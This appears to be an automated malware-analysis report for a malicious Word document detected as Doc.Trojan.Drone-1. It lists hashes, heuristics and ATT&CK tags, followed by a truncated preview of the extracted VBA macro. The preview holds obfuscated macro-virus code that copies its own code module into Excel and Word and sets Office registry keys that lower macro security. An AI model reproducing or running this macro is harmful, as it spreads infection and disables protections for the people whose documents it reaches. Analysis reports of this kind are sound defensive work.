Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa63fb72f31c060e…

MALICIOUS

Office (OLE)

71.0 KB Created: 2001-05-26 08:22:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 1078ec2185500757b24751f41fd8d67f SHA-1: 7ad2a6b50383dd7c294253c145f9d4e85890c778 SHA-256: aa63fb72f31c060e382a9788bc6e5ec81c08e67a3c5e904022bff0b326efed0b
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that utilize CreateObject and GetObject, indicative of malicious intent to manipulate other applications. The script attempts to write to the registry key HKCU\Software\Microsoft\Office\8.0\Excel\Options\Microsoft Excel Options, likely to establish persistence or load a malicious component. ClamAV detection as Doc.Trojan.Drone-1 further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Drone-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Drone-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17348 bytes
SHA-256: 55d9d0b8737a7b7854a167d7b473882281a9afd937124a85c7917fbe9b7ed42c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'ThunderDrome by Kernel32
Private Sub InfectExcel()
On Error Resume Next
With ThisWorkbook.VBProject.vbcomponents(Chr(84) & Chr(104) & Chr(105) & Chr(115) & Chr(87) & Chr(111) & Chr(114) & Chr(107) & Chr(66) & Chr(111) & Chr(111) & Chr(107)).codemodule
Code = .lines((2 - (2 - 1)), 1000)
End With
Set MsWord = GetObject(, Chr(87) & Chr(111) & Chr(114) & Chr(100) & Chr(46) & Chr(97) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110))
WasOn = (2 - (2 - 1))
If MsWord = "" Then
Set MsWord = CreateObject(Chr(87) & Chr(111) & Chr(114) & Chr(100) & Chr(46) & Chr(97) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110))
WasOn = (4 - (2 + 2))
End If
With MsWord.System
.PrivateProfileString("", Chr(72) & Chr(75) & Chr(69) & Chr(89) & Chr(95) & Chr(67) & Chr(85) & Chr(82) & Chr(82) & Chr(69) & Chr(78) & Chr(84) & Chr(95) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(92) & Chr(83) & Chr(111) & Chr(102) & Chr(116) & Chr(119) & Chr(97) & Chr(114) & Chr(101) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(79) & Chr(102) & Chr(102) & Chr(105) & Chr(99) & Chr(101) & Chr(92) & Chr(56) & Chr(46) & Chr(48) & Chr(92) & Chr(69) & Chr(120) & Chr(99) & Chr(101) & Chr(108) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(32) & Chr(69) & Chr(120) & Chr(99) & Chr(101) & Chr(108), Chr(79) & Chr(112) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(115) & Chr(54)) = &H0
.PrivateProfileString("", Chr(72) & Chr(75) & Chr(69) & Chr(89) & Chr(95) & Chr(67) & Chr(85) & Chr(82) & Chr(82) & Chr(69) & Chr(78) & Chr(84) & Chr(95) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(92) & Chr(83) & Chr(111) & Chr(102) & Chr(116) & Chr(119) & Chr(97) & Chr(114) & Chr(101) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(79) & Chr(102) & Chr(102) & Chr(105) & Chr(99) & Chr(101) & Chr(92) & Chr(57) & Chr(46) & Chr(48) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100) & Chr(92) & Chr(83) & Chr(101) & Chr(99) & Chr(117) & Chr(114) & Chr(105) & Chr(116) & Chr(121), Chr(76) & Chr(101) & Chr(118) & Chr(101) & Chr(108)) = 1&
.PrivateProfileString("", Chr(72) & Chr(75) & Chr(69) & Chr(89) & Chr(95) & Chr(67) & Chr(85) & Chr(82) & Chr(82) & Chr(69) & Chr(78) & Chr(84) & Chr(95) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(92) & Chr(83) & Chr(111) & Chr(102) & Chr(116) & Chr(119) & Chr(97) & Chr(114) & Chr(101) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(79) & Chr(102) & Chr(102) & Chr(105) & Chr(99) & Chr(101) & Chr(92) & Chr(49) & Chr(48) & Chr(46) & Chr(48) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100) & Chr(92) & Chr(83) & Chr(101) & Chr(99) & Chr(117) & Chr(114) & Chr(105) & Chr(116) & Chr(121), Chr(76) & Chr(101) & Chr(118) & Chr(101) & Chr(108)) = 1&
If .PrivateProfileString("", Chr(72) & Chr(75) & Chr(69) & Chr(89) & Chr(95) & Chr(67) & Chr(85) & Chr(82) & Chr(82) & Chr(69) & Chr(78) & Chr(84) & Chr(95) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(92) & Chr(83) & Chr(111) & Chr(102) & Chr(116) & Chr(119) & Chr(97) & Chr(114) & Chr(101) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(79) & Chr(102) & Chr(102) & Chr(105) & Chr(99) & Chr(101) & Chr(92) & Chr(49) & Chr(48) & Chr(46) & Chr(48) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100) & Chr(92) & Chr(83) & Chr(101) & Chr(99) & Chr(117) & Chr(114) & Chr(105) & Chr(116) & Chr(121), Chr(65) & Chr(99) & Chr(99) & Chr(101) & Chr(115) & Chr(115
... (truncated)

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